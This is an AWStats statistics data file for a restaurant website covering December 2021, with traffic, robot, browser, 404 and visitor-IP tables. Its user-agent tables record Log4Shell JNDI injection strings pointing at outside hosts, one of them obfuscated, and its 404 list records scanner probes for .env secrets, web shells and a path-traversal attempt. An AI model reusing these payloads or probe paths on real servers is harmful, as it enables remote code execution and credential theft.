AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202112 will be lost/reset.
# Last config file used to build this data file was /home/polorestaurant/tmp/awstats/awstats.polorestaurant.in.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2020                
POS_TIME 2702                
POS_VISITOR 15228               
POS_DAY 24816               
POS_DOMAIN 3672                
POS_LOGIN 4211                
POS_ROBOT 4366                
POS_WORMS 5380                
POS_EMAILSENDER 5511                
POS_EMAILRECEIVER 5654                
POS_SESSION 25598               
POS_SIDER 25777               
POS_FILETYPES 5789                
POS_DOWNLOADS 6041                
POS_OS 6139                
POS_BROWSER 6524                
POS_SCREENSIZE 8254                
POS_UNKNOWNREFERER 8328                
POS_UNKNOWNREFERERBROWSER 9340                
POS_ORIGIN 10015               
POS_SEREFERRALS 10154               
POS_PAGEREFS 10355               
POS_SEARCHWORDS 10592               
POS_KEYWORDS 10744               
POS_MISC 2366                
POS_ERRORS 10803               
POS_CLUSTER 4067                
POS_SIDER_404 10889               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20220101000650 227 68274 23332161864906
FirstTime 20211201013915
LastTime 20211231152453
LastUpdate 20220101174533 227 0 226 0 0
TotalVisits 235                 
TotalUnique 215                 
MonthHostsKnown 41                  
MonthHostsUnknown 181                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
TotalMisc 0 0 0
DirectorSupport 0 0 0
QuickTimeSupport 0 0 0
PDFSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavaEnabled 0 0 0
AddToFavourites 0 0 0
FlashSupport 0 0 0
JavascriptDisabled 0 0 0
RealPlayerSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 16 26 67294422 1576 1600 30634352
1 48 64 90100290 1887 1913 13409420
2 12 12 66086401 1602 1637 78462100
3 11 11 22077792 1161 1188 33077425
4 8 10 22043809 1273 1305 33516492
5 19 19 199651 1236 1257 6853571
6 8 8 85808 1868 1900 12419247
7 22 28 22996881 965 989 26686845
8 25 33 45042060 1955 1989 14853103
9 15 16 44100476 1551 1589 58979831
10 16 16 150772 1359 1382 11440564
11 16 24 154082838 1076 1094 28786235
12 85 102 106369892 916 934 6315575
13 26 35 1176030 1814 1865 17310252
14 18 26 100303103 976 994 29800397
15 16 24 66954834 1786 1810 33217227
16 18 18 147585 3009 3045 29950185
17 31 45 45655741 655 678 28327933
18 22 44 90292259 943 950 6287663
19 17 25 45200138 781 801 6682121
20 19 42 134020073 637 663 5639164
21 18 23 614446 892 917 5740812
22 17 17 178873 2398 2432 17202882
23 14 23 44919714 1419 1439 7197604
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 22
us 300 360 162399652
in 36 134 276498543
ca 30 35 976120
ru 29 37 23076611
cl 20 20 116663
nl 19 19 144414
gb 15 15 142296
ro 12 12 112509
it 11 11 116087
gr 10 10 105020
al 6 6 63238
se 5 5 38542
cz 4 4 42121
ua 3 3 17526
au 3 3 31506
kz 3 3 31619
fr 3 3 31506
ie 2 2 21230
tr 2 2 7036
de 2 2 21004
pl 1 1 10502
cn 1 4 152832
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 22
MJ12bot/ 13431 48515599 20211214184214 84
BLEXBot/ 11263 118480518 20211229223140 155
bot[\s_+:,\.\;\/\\-] 4059 34374764 20211231235636 33
robot 3770 40984375 20211231210215 12
zoominfobot 378 2199089 20211228143303 70
AhrefsBot/ 210 179883536 20211231224318 32
Googlebot/ 140 3098830 20211231180849 23
Barkrowler 74 805036 20211220050944 7
YandexBot/ 47 44214572 20211231232324 17
Apache\-HttpClient/ 40 420080 20211226215609 0
bingbot/ 31 22295212 20211229004910 10
baidu 22 45675706 20211218043229 0
unknown 12 876 20211230135622 12
Applebot/ 10 376567 20211231211249 4
no_user_agent 7 73514 20211229041113 0
MixrankBot 6 77528 20211231232542 0
YandexImages/ 4 344769 20211215030547 0
bingpreview 3 340732 20211202174827 0
Googlebot\-Image/ 3 577114 20211224184535 0
survey 2 21004 20211202131523 0
SemrushBot/ 2 21004 20211230140629 0
archive\.org_bot 2 10575 20211217092634 1
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 10
php 128 938079 0 0
xml 1 1063 0 0
png 32 2731006 0 0
woff 3 294072 0 0
Unknown 13 924 0 0
css 86 5926548 0 0
ttf 3 496644 0 0
jpg 56 7207674 0 0
html 350 3081172 0 0
woff2 19 1466040 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 1
/images/slider/polo-restaurant.mp4 1 35 727930974
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 23
macosx8 2 2
win10 287 229
ios_iphone 2 1
android10 37 7
winlong 9 9
macosx10 8 8
androidlollipop 1 1
linux 36 20
macosx15 26 7
androidmarshmallow 8 2
macosx13 34 16
winxp 3 3
macosx 3 3
androidoreo 1 1
win7 41 40
win8.1 52 24
winnt 1 1
linuxubuntu 2 2
macosx9 3 3
macosx12 2 2
Unknown 127 127
android 24 4
macosx14 5 5
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 80
msie9.0 2 2
chrome81.0.4044.129 8 8
firefox89.0 2 2
opera54.0.2952.64 6 6
safari14.1.2 11 2
chrome94.0.4606.71 11 2
chrome90.0.4430.72 12 12
opera36.0.2130.32 1 1
chrome79.0.3945.88 1 1
edge17 4 4
chrome96.0.4664.104 49 9
chrome87.0.4280.88 9 9
chrome90.0.4430.93 4 4
chrome74.0.3694.0 22 4
msie8.0 1 1
chrome26.0.1410.65 2 2
chrome66.0.3359.181 3 3
chrome67.0.3396.79 3 3
chrome37.0.2049.0 1 1
safari14.1.1 1 0
chrome67.0.3396.87 4 4
firefox84.0 2 2
opera52.0.2871.99 25 25
chrome83.0.4103.61 1 1
Unknown 38 38
mozilla 88 88
chrome81.0.4044.92 11 11
chrome93.0.4577.99 1 1
chrome89.0.4389.90 8 3
chrome78.0.3904.108 23 21
firefox40.0 1 1
chrome90.0.4430.86 3 3
msie11.0 2 2
chrome76.0.3809.71 11 2
chrome68.0.3440.106 13 13
chrome80.0.3987.149 3 3
chrome88.0.4240.193 12 12
chrome96.0.4664.93 23 5
chrome34.0.1847.116 7 7
chrome75.0.3770.100 1 1
firefox45.0 1 1
chrome76.0.3809.100 4 4
firefox68.0 2 2
safari15.1 13 3
safari14.0.2 1 1
chrome79.0 3 3
chrome89.0.4389.114 66 66
safari11.0 1 1
firefox81.0 1 1
chrome96.0.4664.55 17 3
chrome67.0.3396.99 9 9
edge16 6 6
firefox52.0 2 2
chrome73.0.3683.90 1 1
chrome90.0.4430.85 18 18
chrome60.0.3112.90 1 1
chrome52.0.2743.116 8 8
chrome95.0.4638.54 1 0
netscape5.0 2 2
chrome5.0.375.99 3 3
chrome80.0.3987.117 1 1
chrome35.0.1916.47 3 3
firefox18.0 1 1
chrome79.0.3945.130 3 3
chrome92.0.4515.159 1 1
chrome49.0.2623.75 4 2
chrome96.0.4664.110 33 8
chrome74.0.3729.169 3 3
chrome96.0.4664.45 23 5
chrome81.0.4044.138 2 1
chrome83.0.4103.44 2 2
chrome85.0.4183.83 14 14
firefox65.0 1 1
firefox95.0 3 3
chrome95.0.4638.74 12 2
chrome91.0.4472.114 9 9
chrome94.0.4606.61 6 1
chrome41.0.2227.1 1 1
firefox28.0 1 1
chrome41.0.2228.0 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 13
${jndi:rmi://162.241.127.99:1389/a} 20211228032721
Expanse_indexes_the_network_perimeters_of_our_customers._If_you_have_any_questions_or_concerns,_please_reach_out_to:_scaninfo@expanseinc.com 20211231075148
data=${${::-j}ndi:ldap://156.254.126.70:1389/Exploit} 20211218212434
${jndi:dns://162.241.127.99:1389/a} 20211228042429
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20211226002221
Mozilla/5.0_(compatible;_RSiteAuditor) 20211204125108
python-requests/2.26.0 20211225011802
${jndi:ldap://162.241.127.99:1389/a} 20211228002602
Mozilla/5.0_(compatible;_ips-agent) 20211216201310
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20211227021425
Mozilla/5.0_(compatible;_Let's_Encrypt_validation_server;__https://www.letsencrypt.org) 20211213171118
Mozilla/5.0_zgrab/0.x 20211209191306
Cpanel-HTTP-Client/1.0 20211213170020
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 8
NetSystemsResearch_studies_the_availability_of_various_services_across_the_internet._Our_website_is_netsystemsresearch.com 20211227021425
Cpanel-HTTP-Client/1.0 20211213170020
${jndi:dns://162.241.127.99:1389/a} 20211228042429
data=${${::-j}ndi:ldap://156.254.126.70:1389/Exploit} 20211218212434
${jndi:rmi://162.241.127.99:1389/a} 20211228032721
${jndi:ldap://162.241.127.99:1389/a} 20211228002602
python-requests/2.26.0 20211225011802
Expanse_indexes_the_network_perimeters_of_our_customers._If_you_have_any_questions_or_concerns,_please_reach_out_to:_scaninfo@expanseinc.com 20211231075148
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 378 391
From1 1 1
From2 6 8
From3 1 29
From4 131 285
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 3
www_google_co_in 1 2
www_google_com 4 5
www_bing_com 1 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 2
https://elastic247-light.natsav.info:2087 1 1
http://webcache.googleusercontent.com 0 28
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 1
404 854 0
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 156
/backup/ 1 -
/public/.env 1 -
/wp-admin/wp-class.php 1 -
/old-site/ 1 -
/security.txt 1 -
/site/wp-includes/wlwmanifest.xml 35 -
/assets/global/plugins/jQuery-File-Upload/server/php/ 1 -
/public/assets/plugins/jquery-file-upload/server/php/index.php 1 -
/admin/.env 1 -
/home/ 1 -
/WP 1 -
/cgi-bin/../../../../../bin/bash 1 -
/public/assets/global/plugins/jquery-file-upload/server/php/index.php 2 -
/mtos/mt-atom.cgi 1 yahoo.com
/backup 1 -
/alfacgiapi/perl.alfa 1 www.google.com
/old-wp/ 1 -
/blog/wp-login.php 1 http://polorestaurant.in
/wordpress 1 -
/s_e.php 1 -
/f0d9b8c.html 1 http://polorestaurant.in
/assets/plugins/jquery-file-upload/server/php/ 1 -
/wp1/ 1 -
/old 1 -
/xmlrpc.php 35 -
/wp/wp-login.php 1 http://polorestaurant.in
/index3.php 1 -
/temp/ 1 -
/env/.env 1 -
/test/wp-includes/wlwmanifest.xml 35 -
/js/app.js 1 -
/local.env 1 -
/bk/ 1 -
/assets/images/wp_wrong_datlib.php 1 -
/.well-known/ 1 binance.com
/assets/jquery-file-upload/server/php/ 1 -
/tmp/ 1 -
/wp-admin/css/ 1 binance.com
/wp-old 1 -
/web/wp-includes/wlwmanifest.xml 35 -
/wp/ 1 -
/site/ 1 -
/wp-admin/install.php 1 http://polorestaurant.in
/media/wp-includes/wlwmanifest.xml 8 -
/assets/global/plugins/jquery-file-upload/server/php/index.php 1 -
/shop/wp-includes/wlwmanifest.xml 34 -
/cms/mt-atom.cgi 1 yahoo.com
/app/.env 1 -
/blog/wp-includes/wlwmanifest.xml 35 -
/wp-login.php 54 -
/dev/ 1 -
/2019/wp-includes/wlwmanifest.xml 34 -
/demo/server/php/index.php 1 -
/wp2/wp-includes/wlwmanifest.xml 35 -
/laravel/.env 1 -
/main/ 1 -
/bak/ 1 -
/php-ofc-library/ofc_upload_image.php 1 -
/web/ 1 -
/2018/wp-includes/wlwmanifest.xml 8 -
/wp-class.php 1 -
/sites/all/libraries/plupload/examples/upload.php 1 -
/wordpress/wp-includes/wlwmanifest.xml 35 -
/cgi-bin/mt/mt-atom.cgi 1 yahoo.com
/cgi-bin/mt-atom.cgi 1 yahoo.com
/wp-includes/wp-atom.php 2 www.google.com
/wp2/ 1 -
/plugins/jquery-file-upload/server/php/ 1 -
/2021 1 -
/cms/ 1 -
/demo/ 1 -
/2018/ 1 -
/test 1 -
/~app/.env 1 -
/install/ 1 -
/new/ 1 -
/public/assets/jquery-file-upload/server/php/index.php 1 -
/admin/assets/plugins/jQuery-File-Upload/server/php/ 1 -
/2020/ 1 -
/2019 1 -
/assets/images/s_e.php 1 -
/cache/index3.php 1 -
/MT/mt-atom.cgi 1 yahoo.com
/wp-includes/wp-class.php 1 -
/www 1 -
/site/wp-class.php 1 -
/sito/wp-includes/wlwmanifest.xml 35 -
//vendor/phpunit/phpunit/phpunit.xsd 1 -
/bk 1 -
/assets/plugins/jquery-fileupload/server/php/ 1 -
/wp 1 -
/new-site/ 1 -
/user/register/ 1 -
/public/plugins/jquery-file-upload/server/php/index.php 1 -
/humans.txt 5 -
/bak 1 -
/.env 16 -
/vendor/.env 1 -
/bc 1 -
/cms/.env 1 -
/mt-atom.cgi 1 yahoo.com
/wp-content/index.php 1 -
/assets/images/utility.php 1 -
/storage/.env 1 -
/wordpress/ 1 -
/wp1/wp-includes/wlwmanifest.xml 35 -
/wp2 1 -
/wordpress/wp-login.php 1 http://polorestaurant.in
/asset-manifest.json 2 http://polorestaurant.in/
/assets/images/accesson.php 1 -
/new 1 -
/cms/wp-includes/wlwmanifest.xml 34 -
/.well-known/security.txt 1 -
/site 1 -
/news/wp-includes/wlwmanifest.xml 35 -
/v1/ 1 -
/assets/images/moduless.php 1 -
/app-ads.txt 10 -
/.well-known/acme-challenge/menu_settings.php 1 -
/wp/wp-includes/wlwmanifest.xml 35 -
/cgi/mt-atom.cgi 1 yahoo.com
/bac 1 -
/website/wp-includes/wlwmanifest.xml 35 -
/old-site 1 -
/sito 1 -
/wp-content/ 5 -
/blog/ 1 -
/test/.env 1 -
/mt/mt-atom.cgi 1 yahoo.com
/oldsite 1 -
/blog/mt-atom.cgi 1 yahoo.com
/cgi-bin/menu_settings.php 1 -
/assets/plugins/jQuery-File-Upload/server/php/ 1 -
/v2/ 1 -
/main 1 -
/wordpress/wp-class.php 1 -
/sitio 1 -
/wp-includes/wlwmanifest.xml 35 -
/blog/.env 1 -
/cgi-bin/MT/mt-atom.cgi 1 yahoo.com
/assets/global/plugins/jquery-file-upload/server/php/ 1 -
/wp/wp-includes/wp-class.php 1 -
/old/ 1 -
/demo 1 -
/2018 1 -
/test/ 1 -
/ALFA_DATA/alfacgiapi/perl.alfa 1 www.google.com
/2020/wp-includes/wlwmanifest.xml 26 -
/assets/images/s_ne.php 1 -
/wp-admin/includes/wp-class.php 1 -
/whatshelp.io 2 -
/2019/ 1 -
/wordpress/wp-includes/wp-class.php 1 -
/ads.txt 30 -
/admin/assets/plugins/jquery-file-upload/server/php/ 1 -
/2020 1 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 222
134.209.42.109 76 76 267877 20211204125108
158.69.24.50 14 14 161722 20211217011654
191.101.166.237 9 9 576 20211213170020
162.241.69.182 8 8 42008 20211228042429
46.101.80.192 7 7 25148 20211203090004
178.128.25.17 6 6 63012 20211230015927
191.101.217.39 6 6 63351 20211227020641
206.189.86.38 6 6 63012 20211207053421
212.102.57.2 6 6 63351 20211215232137
156.146.63.4 6 6 63351 20211219002834
159.223.34.106 6 6 63012 20211229083202
20.101.106.180 6 6 63012 20211230152229
188.166.181.21 6 6 63012 20211231054454
159.223.80.136 6 6 63012 20211228140818
unn-156-146-63-17.cdn77.com 4 4 42234 20211204014629
ns513825.ip-167-114-158.net 4 4 43800 20211203060113
69.49.235.93 4 4 21004 20211228032721
156.146.63.148 4 4 42234 20211221234734
unn-84-17-47-116.cdn77.com 3 3 31619 20211202083926
159.223.44.75 3 3 31506 20211225074223
5.253.205.29 3 3 31619 20211229113137
49.36.235.179 3 13 39632803 20211218144017
109.248.148.244 3 3 31619 20211217184854
193.56.29.127 3 3 31506 20211206101835
159.223.103.30 3 3 31506 20211225012334
34.209.138.33 2 2 21004 20211213135957
40.83.214.146 1 1 10502 20211218200310
35.88.102.175 2 2 21004 20211220135622
198.181.163.157 1 1 10502 20211216091532
ec2-3-248-222-145.eu-west-1.compute.amazonaws.com 1 1 3518 20211208122944
google-proxy-66-102-6-226.google.com 0 1 3986 
92.118.160.17 1 1 10502 20211227021425
110.227.60.254 0 1 345878 
93.158.92.236 1 1 10502 20211220015929
37.46.248.5 1 1 10502 20211227155156
20.65.57.21 2 2 7150 20211202202130
64.78.149.164 1 1 87 20211213171118
180.163.220.4 0 1 3986 
47.89.31.26 2 2 21004 20211221225255
131.153.240.162 1 1 10502 20211217041840
185.195.24.60 1 1 0 20211214032419
154.51.131.142 2 2 21004 20211227122102
76.72.172.164 1 1 10502 20211204084417
40.83.232.115 1 1 10502 20211217011829
65.21.206.42 1 1 10502 20211228100741
223.238.199.136 2 12 22841839 20211227185748
159.223.125.115 1 1 12543 20211229015011
ec2-35-87-91-14.us-west-2.compute.amazonaws.com 2 11 22830869 20211205124555
34.96.130.26 1 1 10502 20211224120305
199.127.56.236 2 11 22837853 20211216152959
34.96.130.12 1 1 10502 20211228171324
185.147.213.139 1 1 10502 20211226092422
141-161-158-51.instances.scw.cloud 1 1 3518 20211202013951
167.172.62.216 2 2 20280 20211230193452
144.126.152.162 1 1 10502 20211225011802
198.204.238.212 2 2 20642 20211218182202
34.96.130.7 1 1 10502 20211228053826
137.184.42.156 1 1 10502 20211230134419
lux-es1-10g.voxility.com 2 2 7150 20211210110919
137.184.234.23 1 1 10140 20211228232755
worker-10.sfj.censys-scanner.com 1 1 3518 20211209191306
103.220.207.22 1 6 422261 20211217211359
91.90.122.132 3 3 31619 20211203211828
159.89.207.75 3 3 31506 20211230012834
54.162.129.98 1 1 10502 20211222144006
72.13.62.26 3 3 31257 20211216201310
64.225.52.113 2 2 21004 20211215100413
no-mans-land.m247.com 3 3 31619 20211204083108
31.171.152.136 3 3 31619 20211208225721
159.223.33.61 3 3 31506 20211229051852
20.121.116.38 2 2 7150 20211206232150
23-95-227-11-host.colocrossing.com 1 1 0 20211201152007
128.199.95.173 3 3 31506 20211230035444
5.62.49.122 1 1 10615 20211217163031
65.108.150.45 1 1 10502 20211226115624
89.31.140.129 1 1 10502 20211225114153
93.158.92.237 1 1 10502 20211228224528
13.83.129.119 1 1 10502 20211215060351
185.153.151.176 3 3 31619 20211202132054
34.96.130.0 1 1 10502 20211229070437
42.192.11.192 1 1 10502 20211214115603
134.122.8.19 1 1 10502 20211201191124
34.77.162.13 1 1 10502 20211224112428
159.89.202.235 3 3 31506 20211224083655
37.120.235.165 3 3 31619 20211217175544
93.158.91.189 1 1 10502 20211217170953
89.187.168.170 3 3 31619 20211224054723
78.153.199.28 2 2 21230 20211215100742
103.153.79.79 1 1 10502 20211222025905
80.234.34.116 1 1 3518 20211201013915
49.36.239.3 2 12 52021858 20211219210934
49.36.235.10 3 12 23090923 20211203200418
20.106.128.201 3 3 31506 20211208221027
ec2-54-155-129-52.eu-west-1.compute.amazonaws.com 1 1 3518 20211205123710
167.172.62.217 1 1 23701 20211230215119
jakom.tabandan.org.uk 2 2 7150 20211202042454
121.5.109.55 0 1 134358 
64.225.30.223 2 2 21004 20211219170256
92.118.160.45 1 1 10502 20211226161410
103.28.53.163 3 3 31506 20211219133231
92.118.160.9 1 1 10502 20211225210705
159.223.126.26 1 1 10615 20211228200146
unn-156-146-63-30.cdn77.com 2 2 21117 20211208133324
185.232.21.116 3 3 31619 20211227165549
ec2-52-87-215-236.compute-1.amazonaws.com 1 1 3518 20211204011041
147.182.153.34 1 1 10502 20211230162331
104.40.14.122 1 1 10502 20211221184420
159.223.33.60 3 3 31506 20211229183310
185.200.117.167 3 3 31506 20211227154832
209.97.164.92 3 3 31506 20211205101506
167.172.62.209 1 1 10502 20211228160727
161.97.84.43 1 1 10502 20211224002637
176.226.184.241 2 11 22837853 20211215014522
3.120.130.29 1 1 87 20211213171118
37.120.143.152 1 1 10502 20211216134340
185.191.34.215 2 2 0 20211230184846
194.32.122.27 3 3 31619 20211229011648
167.94.138.114 1 1 3518 20211209125530
167.114.211.151 3 8 676080 20211217073542
223.238.194.152 2 12 22841839 20211229002944
216.131.108.3 1 1 10502 20211221091202
34.96.130.20 1 1 10502 20211231075148
157.47.247.53 2 12 22841839 20211221200037
216.131.104.132 1 1 10502 20211231113031
65.21.206.46 1 1 10502 20211215233743
137.184.37.207 1 1 23701 20211229140144
54.245.192.245 1 1 10502 20211227023739
45.129.18.38 1 1 0 20211202080812
5.188.62.76 2 2 14020 20211217134439
135.148.32.58 2 11 22837853 20211219122855
52.39.4.59 1 1 87 20211213171118
abstraction-gb.careisle.org.uk 2 2 7036 20211204160259
ec2-34-209-217-193.us-west-2.compute.amazonaws.com 2 2 21004 20211206140311
23.102.38.254 3 3 31506 20211202013544
45.129.18.185 1 1 0 20211207194730
103.89.137.28 1 1 10502 20211218212434
62.133.135.129 1 1 10502 20211219212600
89.187.171.229 1 1 10502 20211217183019
23-239-26-32.ip.linodeusercontent.com 3 12 22841371 20211210080415
r-113-43-62-5.ff.avast.com 2 2 7150 20211209235520
223.238.192.123 3 13 44420368 20211229112252
54.149.239.147 2 2 21004 20211227135612
159.89.198.10 3 3 31506 20211228170910
205.185.214.71 1 1 10502 20211221112316
google-proxy-66-249-83-3.google.com 1 1 3518 20211209042758
google-proxy-66-102-6-252.google.com 1 1 3518 20211207202714
168.62.23.33 1 1 10502 20211225195153
5-248-227-97.broadband.kyivstar.net 1 1 3506 20211209200133
104.239.115.105 2 2 7150 20211201191921
162.142.125.43 1 1 10502 20211226002221
scanner-09.ch1.censys-scanner.com 1 1 3518 20211202232557
138.91.74.63 1 1 3518 20211205091550
crawl-66-249-66-66.googlebot.com 1 1 3518 20211209111354
ppp91-76-211-158.pppoe.mtu-net.ru 2 2 21117 20211203225701
194.163.153.136 1 1 10502 20211231152453
42.110.165.17 2 8 669451 20211223174210
131.153.143.50 1 1 10502 20211215003240
bot.h12-media.com 1 1 3518 20211203000251
18.116.86.117 1 1 87 20211213171118
good-pwd-coding.rapidmms.com 1 1 3518 20211201233413
worker-06.sfj.censys-scanner.com 1 1 3518 20211209155720
131.153.240.10 1 1 10502 20211214191034
159.223.77.218 3 3 31506 20211225220450
84.247.48.52 3 3 31619 20211207162403
31.171.155.11 3 3 31619 20211214214150
128.199.169.101 3 3 31506 20211230182317
137.184.37.200 1 1 10615 20211230152209
64.225.17.122 2 2 21004 20211219170255
13.162.77.34.bc.googleusercontent.com 1 1 10502 20211204092728
181.215.176.150 3 3 31619 20211206084544
13.64.247.159 1 1 10502 20211230083327
20.121.115.130 2 2 7150 20211209170132
static.49.15.216.95.clients.your-server.de 1 1 3518 20211209020344
188.72.101.145 2 2 21230 20211214195838
25.35.86.34.bc.googleusercontent.com 1 1 10502 20211210161723
42.107.224.68 1 1 10502 20211221011227
157.35.64.145 0 1 387361 
27.115.124.38 0 1 3986 
103.214.139.82 3 12 941242 20211225134402
65.21.206.44 1 1 10502 20211220021509
45.129.18.243 1 1 0 20211227171422
143.244.54.141 1 1 10502 20211226132818
52.151.193.60 3 3 31506 20211208135932
104.131.37.33 1 1 0 20211206104341
167.94.138.58 1 1 10502 20211224224626
34.86.35.1 1 1 10502 20211224033851
abts-north-dynamic-234.75.64.182.airtelbroadband.in 1 1 10502 20211210134438
46.101.18.159 3 3 31506 20211231052406
103.173.204.11 3 17 23295311 20211213182931
92.118.160.37.netsystemsresearch.com 1 1 10502 20211205024617
20.70.171.75 3 3 31506 20211230102211
static.45.206.21.65.clients.your-server.de 1 1 3518 20211209134554
223.238.199.207 2 12 22841839 20211228235427
google-proxy-66-249-83-94.google.com 0 1 3986 
2-169-158-51.instances.scw.cloud 1 1 3518 20211203015514
147.182.184.114 1 1 10140 20211229172609
143.198.146.251 1 1 12543 20211230144136
20.185.52.74 3 3 31506 20211226070015
40.118.207.85 1 1 3518 20211203164036
143.110.159.129 3 3 31506 20211225090457
ec2-3-137-165-158.us-east-2.compute.amazonaws.com 3 3 31506 20211203140737
23.101.130.130 1 1 10502 20211210013943
34.209.219.244 1 1 10502 20211224191101
159.223.51.217 2 2 7150 20211201164933
3.130.96.34.bc.googleusercontent.com 1 1 10502 20211210162425
136.144.41.210 1 1 3518 20211203010624
104.40.23.67 1 1 3518 20211209160511
159.223.46.191 3 3 31506 20211222150526
65.154.226.165 2 11 22837853 20211213171358
154.28.188.107 1 1 10615 20211227174312
104.42.178.243 1 1 10502 20211227203528
207.204.248.50 1 1 10502 20211231092052
ec2-54-188-114-108.us-west-2.compute.amazonaws.com 2 11 22830869 20211204010813
192.71.224.240 1 1 3518 20211209102327
64.179.169.12 3 3 31506 20211217071210
49.36.237.13 3 12 23090923 20211216191114
ec2-3-85-16-162.compute-1.amazonaws.com 1 1 3518 20211210080309
52.170.139.94 2 2 21230 20211220215159
52.160.36.53 1 1 10502 20211223211843
23.236.229.81 2 2 7150 20211205022826
191.101.31.17 2 2 21117 20211206074849
unn-212-102-57-99.cdn77.com 2 2 21117 20211210031446
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 29
20211201 8 8 31838 6
